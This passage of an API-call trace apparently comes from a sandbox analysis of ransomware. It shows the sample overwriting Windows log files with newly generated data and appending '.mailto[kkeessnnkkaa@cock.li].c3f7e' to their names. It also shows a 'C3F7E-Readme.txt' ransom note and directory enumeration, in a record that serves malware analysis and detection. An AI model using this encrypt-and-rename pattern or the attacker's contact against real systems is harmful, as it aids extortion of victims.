	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xec574386
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x68e972ba
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xd79ed258
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x71b247e8
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x6e71fd6e
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x7da0f67b
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x75fcac63
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x602b61a8
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x77364ce2
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x3d492d60
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xb051385a
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xdd6faba5
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x8ffa21c6
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x32726baf
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xad175fa5
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x12d1456f
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x645f82ef
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x5848efe0
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x19faf830
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x4456b42c
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xa34c93ce
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x453e8ca1
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x25a221e2
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x6407226d
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xbb671a8b
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x7ddcb6d4
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xec1a922e
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xad0f8cb8
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0x826e87c7
	[0084.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.182] ReadFile (in: hFile=0x16f4, lpBuffer=0x503e840, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x285bf894, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x285bf894*=0x2000, lpOverlapped=0x0) returned 1
	[0084.183] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.183] WriteFile (in: hFile=0x16f4, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x285bf890, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x285bf890*=0x2000, lpOverlapped=0x0) returned 1
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf488
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34348
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34050
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e030
	[0084.184] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.184] WriteFile (in: hFile=0x16f4, lpBuffer=0x481e030*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x285bf8f8, lpOverlapped=0x0 | out: lpBuffer=0x481e030*, lpNumberOfBytesWritten=0x285bf8f8*=0x135, lpOverlapped=0x0) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf488) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47196d0
	[0084.186] wcscpy (in: _Dest=0x47196d0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl"
	[0084.186] wcscat (in: _Dest=0x47196d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.186] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x285bf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767408
	[0084.187] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x285bf8a8, FileInformation=0x4767408, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0084.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767408) returned 1
	[0084.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cb18) returned 1
	[0084.187] NtQueryInformationFile (in: FileHandle=0x16f4, IoStatusBlock=0x285bf8bc, FileInformation=0x285bf894, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x285bf8bc, FileInformation=0x285bf894) returned 0x0
	[0084.187] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x285bf8bc, FileInformation=0x285bf894, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47196d0) returned 1
	[0084.196] FlushFileBuffers (hFile=0x16f4) returned 1
	[0084.197] CloseHandle (hObject=0x16f4) returned 1
	[0084.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780df8
	[0084.198] wcscpy (in: _Dest=0x4780df8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.198] wcscat (in: _Dest=0x4780df8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.198] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780df8) returned 1
	[0084.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e278) returned 1

Thread:
	id = 1151
	os_tid = 0x1e6c

	[0085.627] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl")) returned 0x2020
	[0085.627] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", dwFileAttributes=0x20) returned 1
	[0085.627] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1860
	[0085.627] GetFileSizeEx (in: hFile=0x1860, lpFileSize=0x2863fbbc | out: lpFileSize=0x2863fbbc*=12288) returned 1
	[0085.627] SetFilePointerEx (in: hFile=0x1860, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.627] ReadFile (in: hFile=0x1860, lpBuffer=0x2863fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2863fb3c, lpOverlapped=0x0 | out: lpBuffer=0x2863fb40*, lpNumberOfBytesRead=0x2863fb3c*=0x4, lpOverlapped=0x0) returned 1
	[0085.629] SetFilePointerEx (in: hFile=0x1860, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.629] NtQuerySystemTime (in: CurrentTime=0x2863fb1c | out: CurrentTime=0x2863fb1c*=132251868123587958) returned 0x0
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x40f78511
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xdc419cde
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x430eaa33
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xb94ba7c1
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x73e95258
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x698c1914
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xe836b462
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x8b2bebe8
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x623c4ca8
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xafc3a4cc
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x22ee56b2
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x850a185d
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x12cf9c01
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x44d9702f
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x88a32129
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x25083366
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xeddc7ae
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x15ea0570
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x36ec2b46
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xdb5ff07b
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x1a22681
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x26b27050
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x247778a9
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xd21dc4ec
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xe1ef760d
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x96e6580f
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x8ffdb57
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xff93f5c9
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xbc00ae29
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x15f5169a
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0xc2750ac1
	[0085.629] RtlRandom (in: Seed=0x2863fb28 | out: Seed=0x2863fb28) returned 0x15f46a6
	[0085.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0085.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47db828
	[0085.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x500d818
	[0085.638] ReadFile (in: hFile=0x1860, lpBuffer=0x47db828, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2863fb18, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2863fb18*=0x3000, lpOverlapped=0x0) returned 1
	[0085.639] SetFilePointerEx (in: hFile=0x1860, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.639] WriteFile (in: hFile=0x1860, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2863fb14, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2863fb14*=0x3000, lpOverlapped=0x0) returned 1
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d778a0
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d77540
	[0085.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e928
	[0085.641] SetFilePointerEx (in: hFile=0x1860, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.641] WriteFile (in: hFile=0x1860, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2863fb7c, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x2863fb7c*=0x135, lpOverlapped=0x0) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea3a0
	[0085.643] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl"
	[0085.643] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.643] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2863fb34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0085.643] NtSetInformationFile (FileHandle=0x1860, IoStatusBlock=0x2863fb2c, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0085.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0085.644] NtQueryInformationFile (in: FileHandle=0x1860, IoStatusBlock=0x2863fb40, FileInformation=0x2863fb18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2863fb40, FileInformation=0x2863fb18) returned 0x0
	[0085.644] NtSetInformationFile (FileHandle=0x1860, IoStatusBlock=0x2863fb40, FileInformation=0x2863fb18, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.645] FlushFileBuffers (hFile=0x1860) returned 1
	[0093.070] CloseHandle (hObject=0x1860) returned 1
	[0093.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733a70
	[0093.072] wcscpy (in: _Dest=0x4733a70, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0093.072] wcscat (in: _Dest=0x4733a70, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0093.072] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0093.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0093.072] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e8a8) returned 1

Thread:
	id = 1152
	os_tid = 0x1e74

	[0085.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc890
	[0085.642] wcscpy (in: _Dest=0x47bc890, _Source="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore"
	[0085.642] wcscat (in: _Dest=0x47bc890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\"
	[0085.642] wcscat (in: _Dest=0x47bc890, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*"
	[0085.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27548
	[0085.642] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0085.646] wcscmp (_String1=".", _String2=".") returned 0
	[0085.646] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.646] wcscmp (_String1="..", _String2=".") returned 1
	[0085.646] wcscmp (_String1="..", _String2="..") returned 0
	[0085.646] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
